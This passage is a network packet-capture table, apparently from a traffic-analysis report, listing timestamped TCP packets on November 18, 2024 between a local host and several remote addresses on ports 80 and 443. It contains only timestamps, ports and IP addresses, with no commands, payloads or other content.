Nov 18, 2024 13:29:28.735778093 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.735789061 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.735862970 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.765691996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.765710115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.765722990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.765752077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.765773058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.776019096 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.776031971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.776043892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.776093960 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.776094913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.776144028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.776155949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.776170015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.776185989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.776200056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.779107094 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.779162884 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.779202938 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.779218912 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.779218912 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.779293060 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.780028105 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:28.780051947 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:28.816066980 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.816102982 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.816236973 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.816236973 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.816257000 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.816328049 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.850229979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850284100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850296021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850306988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850374937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850374937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.850395918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.850410938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850423098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850434065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.850445032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.850466967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.850711107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850758076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850759029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.850770950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.850820065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.851015091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.851069927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.851095915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.851108074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.851161003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.883711100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.883743048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.883754969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.883768082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.883773088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.883790970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.883835077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.883841038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.883852959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.883891106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.894104958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.894115925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.894125938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.894139051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.894153118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.894154072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.894180059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.894200087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.894282103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.894644976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.928299904 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.928349972 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.928530931 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.929008961 CET	49787	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.929020882 CET	443	49787	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.934886932 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.934916973 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.935000896 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.935000896 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.935026884 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:28.935143948 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:28.968161106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968302011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968316078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968329906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968350887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968388081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.968388081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.968394041 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968409061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.968545914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.968552113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968611956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968612909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.968624115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968678951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.968696117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.968739986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.969049931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.969192982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:28.969202042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.969213963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.969233990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.969244957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:28.969372034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.001812935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.001852989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.001867056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.001880884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.001905918 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.001949072 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.001955032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.001966953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.001979113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.002005100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.012085915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.012113094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.012132883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.012161970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.012161970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.012202024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.012723923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.012880087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.012932062 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.053632975 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.053663969 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.053708076 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.053740978 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.053752899 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.053961992 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.086240053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086289883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086299896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.086303949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086343050 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.086438894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086472034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086484909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086486101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.086509943 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.086524010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.086535931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086572886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.086886883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.086937904 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.086965084 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.087038994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.087070942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.087080956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.087083101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.087116957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.087131023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.093877077 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.093974113 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.094012022 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.094032049 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.094911098 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.094928980 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.120054007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.120091915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.120110035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.120146036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.120167971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.120176077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.120182037 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.120213985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.120243073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.130209923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130244017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130258083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130297899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130341053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130346060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.130534887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130548000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130562067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.130565882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.130580902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.130614042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.204350948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204370022 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204385996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204399109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204421043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.204452991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204462051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.204500914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204514027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.204514980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204540968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.204552889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.204796076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204910040 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204937935 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.204983950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.205065966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.205079079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.205091000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.205106020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.205136061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.232098103 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.232151031 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.232466936 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.232505083 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.232523918 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.232599974 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.232999086 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.233026981 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.233247995 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.233275890 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.233283997 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.233339071 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.233475924 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.233506918 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.233778000 CET	49788	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.233799934 CET	443	49788	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.233815908 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.234121084 CET	49789	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.234131098 CET	443	49789	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.234241962 CET	49790	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.234265089 CET	443	49790	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.234400034 CET	49791	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.234412909 CET	443	49791	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.234492064 CET	49792	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:29.234508991 CET	443	49792	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:29.238131046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.238157988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.238173008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.238194942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.238234043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.238267899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.238281965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.238409996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.248748064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.248771906 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.248785973 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.248811007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.248857021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.248874903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.248909950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.248956919 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.248969078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.248980999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.249017000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.249241114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.249263048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.249284029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.249315023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.297574997 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.297857046 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.297873020 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.298234940 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.298542023 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.298609018 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.298696041 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.298721075 CET	49786	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:29.298724890 CET	443	49786	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:29.322484970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.322503090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.322524071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.322536945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.322547913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.322563887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.322571039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.322609901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.323090076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.323148966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.323163033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.323195934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.323234081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.323239088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.323276997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.323388100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.323434114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.323481083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.323493004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.356369972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.356412888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.356429100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.356451035 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.356451988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.356468916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.356477976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.356477976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.356498957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.356506109 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.366894960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.366940975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.366955996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.366961002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.366997004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.367018938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.367031097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.367079973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.367224932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.367271900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.367285013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.367321014 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.367335081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.367405891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.367419958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.367461920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.440572977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.440587997 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.440599918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.440663099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.440663099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.440699100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.440711975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.440749884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.441145897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.441173077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.441184998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.441194057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.441219091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.441226006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.474422932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474447012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474464893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474490881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474492073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.474508047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474514008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.474529028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474534988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.474559069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.474565983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.474602938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474618912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.474657059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:29.484827042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.484914064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.484925985 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.484968901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.484986067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:29.485002041 CET	80	49746	185.215.113.206	192.168.2.8
